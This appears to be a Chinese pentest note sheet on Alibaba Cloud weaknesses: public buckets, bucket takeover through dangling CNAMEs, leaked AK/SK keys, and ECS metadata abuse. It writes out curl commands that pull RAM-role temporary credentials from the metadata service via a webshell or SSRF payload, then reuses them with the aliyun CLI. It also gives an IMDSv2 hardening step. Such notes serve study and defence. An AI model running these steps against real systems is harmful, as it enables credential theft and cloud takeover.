https://wiki.teamssix.com/
对象存储
目录遍历问题
- 存储桶设置为任何人可读,攻击者访问
https://bucket.oss.com/?list 即可查看文件列表,可能存在备份文件、配置文件、源码等重要信息泄露的问题。
- Policy 配置了 ListObject 权限,通过授权策略给了列出对象的权限,即使不是公共读,授权用户也能遍历,若攻击者拿到临时凭证则可以批量下载。
文件上传问题
- 公共读写权限,桶设置为任何人可写,攻击者可以直接用 PUT 请求上传文件,如恶意木马、钓鱼页面、挖矿脚本;
- Policy 同时给了 ListObjects + PutObject,授权策略允许列出+上传,配合使用危害更大,攻击者可先遍历找上传点,再覆盖关键文件
桶接管问题
存储桶绑定了自定义域名,当桶被释放或删除,但对应的域名 DNS 的 CNAME 记录没有删除仍指向已删除的桶。
攻击方式:发现 static.example.com CNAME → xxx.oss-cn-hangzhou.aliyuncs.com 访问 OSS 地址返回 NoSuchBucket,在相同区域创建同名桶 + 绑定相同域名,则可上传钓鱼页面,用户访问 static.example.com 就被劫持)
AK/SK 泄露问题
常见泄露场景:前端代码硬编码、APP/小程序反编译、GitHub 等公开代码仓库等。
https://wiki.teamssix.com/cloudservice/more/ 各厂商 AK/SK 特征
云服务器弹性计算
云服务器弹性计算配置了实例访问控制角色(带权限的 RAM Role)让服务器能自动获取临时凭证访问其他云资源或存在 SSRF 漏洞或已得到云服务器权限等前提下,可利用云服务器元数据攻击
场景 1:已通过 Webshell 进入一台阿里云 ECS,且该实例绑定了 RAM 角色
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 攻击流程: 获取角色名称 curl http://100.100.100.200/latest/meta-data/ram/security-credentials/ # 返回:RamRoleName
获取临时凭证 curl http://100.100.100.200/latest/meta-data/ram/security-credentials/RamRoleName # 返回 JSON: { "AccessKeyId": "STS.NV6y...", "AccessKeySecret": "DgHs...", "SecurityToken": "CAIS+QJ1q6Ft5B2yfSjIr5...", // STS 令牌 "Expiration": "2024-01-01T12:00:00Z" } 利用凭证横向移动 # 用阿里云 CLI + 临时凭证访问其他资源 aliyun oss ls \ --access-key-id STS.NV6y... \ --access-key-secret DgHs... \ --security-token CAIS+QJ1q6Ft5B2yfSjIr5...
风险:如果角色权限过大(如管理员),可接管整个云环境
|
场景 2:目标网站存在 SSRF 漏洞(如 curl/user_input 未过滤)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 攻击流程: 探测元数据接口 https://vuln.com/proxy?url=http://100.100.100.200/latest/meta-data/
如果返回实例信息 → 继续获取角色名 + 临时凭证 https://vuln.com/proxy?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/RoleName
提取返回的 JSON 中的 AccessKeyId/Secret/Token
本地利用(同上)
阿里云防护:启用 IMDSv2 # v2 需要先生成 token(带 Header),普通 SSRF 难以构造 TOKEN=$(curl -X PUT "http://100.100.100.200/latest/api/token" \ -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600") curl -H "X-aliyun-ecs-metadata-token: $TOKEN" \ http://100.100.100.200/latest/meta-data/
|
云数据库
基本上安全~
账号密码泄露,云数据库开启了外网地址可连接且 IP 在白名单中;内网需要其中内网某一个服务器做转发。